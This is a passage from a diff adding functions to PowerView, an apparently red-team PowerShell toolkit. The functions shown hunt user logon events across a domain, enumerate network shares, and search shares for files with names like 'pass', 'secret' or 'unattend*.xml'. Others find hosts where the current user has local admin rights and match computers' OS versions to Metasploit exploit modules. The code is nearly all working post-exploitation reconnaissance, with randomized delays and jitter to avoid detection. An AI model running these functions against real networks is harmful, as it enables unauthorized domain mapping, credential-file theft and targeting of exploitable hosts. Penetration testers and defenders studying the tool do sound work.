$_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController | Foreach-Object { + $_.MemberName + } + } + } + + if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $SearchDays) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate + Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object { + # filter for the target user set + $TargetUsers -contains $_.UserName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'SearchDays' = $SearchDays + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays + } + } + + } +} + + +function Invoke-ShareFinder { +<# + .SYNOPSIS + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it lists of active shares with Get-NetShare. Non-standard shares + can be filtered out with -Exclude* flags. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ExcludeStandard + + Switch. Exclude standard shares from display (C$, IPC$, print$ etc.) + + .PARAMETER ExcludePrint + + Switch. Exclude the print$ share. + + .PARAMETER ExcludeIPC + + Switch. Exclude the IPC$ share. + + .PARAMETER CheckShareAccess + + Switch. Only display found shares that the local user has access to. + + .PARAMETER CheckAdmin + + Switch. Only display ADMIN$ shares the local user has access to. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0. + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ExcludeStandard + + Find non-standard shares on the domain. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Threads 20 + + Multi-threaded share finding, replaces Invoke-ShareFinderThreaded. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -Delay 60 + + Find shares on the domain with a 60 second (+/- *.3) + randomized delay between touching each host. + + .EXAMPLE + + PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt + + Find shares for machines in the specified hosts file. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $ExcludeStandard, + + [Switch] + $ExcludePrint, + + [Switch] + $ExcludeIPC, + + [Switch] + $NoPing, + + [Switch] + $CheckShareAccess, + + [Switch] + $CheckAdmin, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @('') + + if ($ExcludePrint) { + $ExcludedShares = $ExcludedShares + "PRINT$" + } + if ($ExcludeIPC) { + $ExcludedShares = $ExcludedShares + "IPC$" + } + if ($ExcludeStandard) { + $ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") + } + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host file list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + Write-Debug "[*] Server share: $Share" + $NetName = $Share.shi1_netname + $Remark = $Share.shi1_remark + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + # if we're just checking for access to ADMIN$ + if($CheckAdmin) { + if($NetName.ToUpper() -eq "ADMIN$") { + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + } + # skip this share if it's in the exclude list + elseif ($ExcludedShares -NotContains $NetName.ToUpper()) { + # see if we want to check access to this share + if($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + "\\$ComputerName\$NetName `t- $Remark" + } + catch { + Write-Debug "Error accessing path $Path : $_" + } + } + else { + "\\$ComputerName\$NetName `t- $Remark" + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'CheckShareAccess' = $CheckShareAccess + 'ExcludedShares' = $ExcludedShares + 'CheckAdmin' = $CheckAdmin + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin + } + } + + } +} + + +function Invoke-FileFinder { +<# + .SYNOPSIS + + Finds sensitive files on the domain. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, grabs + the readable shares for each server, and recursively searches every + share for files with specific keywords in the name. + If a share list is passed, EVERY share is enumerated regardless of + other options. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ShareList + + List if \\HOST\shares to search through. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationDate greater than this date value. + + .PARAMETER IncludeC + + Switch. Include any C$ shares in recursive searching (default ignore). + + .PARAMETER IncludeAdmin + + Switch. Include any ADMIN$ shares in recursive searching (default ignore). + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER SearchSYSVOL + + Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .EXAMPLE + + PS C:\> Invoke-FileFinder + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -Domain testing + + Find readable files on the 'testing' domain with 'pass', 'sensitive', + 'secret', 'admin', 'login', or 'unattend*.xml' in the name, + + .EXAMPLE + + PS C:\> Invoke-FileFinder -IncludeC + + Find readable files on the domain with 'pass', 'sensitive', + 'secret', 'admin', 'login' or 'unattend*.xml' in the name, + including C$ shares. + + .EXAMPLE + + PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv + + Enumerate a specified share list for files with 'accounts' or + 'ssn' in the name, and write everything to "out.csv" + + .LINK + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ + +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $ShareList, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String[]] + $Terms, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $TermList, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $IncludeC, + + [Switch] + $IncludeAdmin, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [Switch] + $SearchSYSVOL, + + [ValidateRange(1,100)] + [Int] + $Threads, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-FileFinder with delay of $Delay" + + $Shares = @() + + # figure out the shares we want to ignore + [String[]] $ExcludedShares = @("C$", "ADMIN$") + + # see if we're specifically including any of the normally excluded sets + if ($IncludeC) { + if ($IncludeAdmin) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("ADMIN$") + } + } + + if ($IncludeAdmin) { + if ($IncludeC) { + $ExcludedShares = @() + } + else { + $ExcludedShares = @("C$") + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + # if there's a set of terms specified to search for + if ($TermList) { + ForEach ($Term in Get-Content -Path $TermList) { + if (($Term -ne $Null) -and ($Term.trim() -ne '')) { + $Terms += $Term + } + } + } + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're hard-passed a set of shares + if($ShareList) { + ForEach ($Item in Get-Content -Path $ShareList) { + if (($Item -ne $Null) -and ($Item.trim() -ne '')) { + # exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder + $Share = $Item.Split("`t")[0] + $Shares += $Share + } + } + } + if($SearchSYSVOL) { + ForEach ($Domain in $TargetDomains) { + $DCSearchPath = "\\$Domain\SYSVOL\" + Write-Verbose "[*] Adding share search path $DCSearchPath" + $Shares += $DCSearchPath + } + if(!$Terms) { + # search for interesting scripts on SYSVOL + $Terms = @('.vbs', '.bat', '.ps1') + } + } + else { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates shares and files on a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential) + + Write-Verbose "ComputerName: $ComputerName" + Write-Verbose "ExcludedShares: $ExcludedShares" + $SearchShares = @() + + if($ComputerName.StartsWith("\\")) { + # if a share is passed as the server + $SearchShares += $ComputerName + } + else { + # if we're enumerating the shares on the target server first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $ComputerName + ForEach ($Share in $Shares) { + + $NetName = $Share.shi1_netname + $Path = '\\'+$ComputerName+'\'+$NetName + + # make sure we get a real share name back + if (($NetName) -and ($NetName.trim() -ne '')) { + + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $NetName.ToUpper()) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Debug "[!] No access to $Path" + } + } + } + } + } + } + + ForEach($Share in $SearchShares) { + $SearchArgs = @{ + 'Path' = $Share + 'Terms' = $Terms + 'OfficeDocs' = $OfficeDocs + 'FreshEXEs' = $FreshEXEs + 'LastAccessTime' = $LastAccessTime + 'LastWriteTime' = $LastWriteTime + 'CreationTime' = $CreationTime + 'ExcludeFolders' = $ExcludeFolders + 'ExcludeHidden' = $ExcludeHidden + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + Find-InterestingFile @SearchArgs + } + } + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ExcludedShares' = $ExcludedShares + 'Terms' = $Terms + 'ExcludeFolders' = $ExcludeFolders + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'OutFile' = $OutFile + 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential + } + + # kick off the threaded script block + arguments + if($Shares) { + # pass the shares as the hosts so the threaded function code doesn't have to be hacked up + Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + else { + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + } + + else { + if($Shares){ + $ComputerName = $Shares + } + elseif(-not $NoPing -and ($ComputerName.count -gt 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + $ComputerName | Where-Object {$_} | ForEach-Object { + Write-Verbose "Computer: $_" + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $_ ($Counter of $($ComputerName.count))" + + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $Terms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive, $Credential + } + } + } +} + + +function Find-LocalAdminAccess { +<# + .SYNOPSIS + + Finds machines on the local domain where the current user has + local administrator access. Uses multithreading to + speed up enumeration. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for all active machines with Get-NetComputer, then for + each server it checks if the current user has local administrator + access using Invoke-CheckLocalAdminAccess. + + Idea stolen from the local_admin_search_enum post module in + Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess + + Find machines on the local domain where the current user has local + administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Threads 10 + + Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -Domain testing + + Find machines on the 'testing' domain where the current user has + local administrator access. + + .EXAMPLE + + PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt + + Find which machines in the host list the current user has local + administrator access. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Find-LocalAdminAccess with delay of $Delay" + + if(!$ComputerName) { + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping) + + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # check if the current user has local admin access to this server + $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + if ($Access) { + $ComputerName + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +function Get-ExploitableSystem { +<# + .Synopsis + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. + + .DESCRIPTION + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. The script filters out disabled + domain computers and provides the computer's last logon time to help determine if it's been + decommissioned. Also, since the script uses data tables to output affected systems the results + can be easily piped to other commands such as test-connection or a Export-Csv. + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + The example below shows the standard command usage. Disabled system are excluded by default, but + the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't + logged on for two or more weeks it's been decommissioned. + PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize + [*] Grabbing computer accounts from Active Directory... + [*] Loading exploit list for critical missing patches... + [*] Checking computers for vulnerable OS and SP levels... + [+] Found 5 potentially vulnerable systems! + ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE + ------------ --------------- ----------- --------- --------- --- + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + + .EXAMPLE + + PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation + + How to write the output to a csv file. + + .EXAMPLE + + PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping + + Return a set of live hosts from the testlab.local domain + + .LINK + + http://www.netspi.com + https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 + + .NOTES + + Author: Scott Sutherland - 2015, NetSPI + Modifications to integrate into PowerView by @harmj0y + Version: Get-ExploitableSystem.psm1 v1.1 + Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" + function found in Carols Perez's PoshSec-Mod project. The general idea is based off of + Will Schroeder's 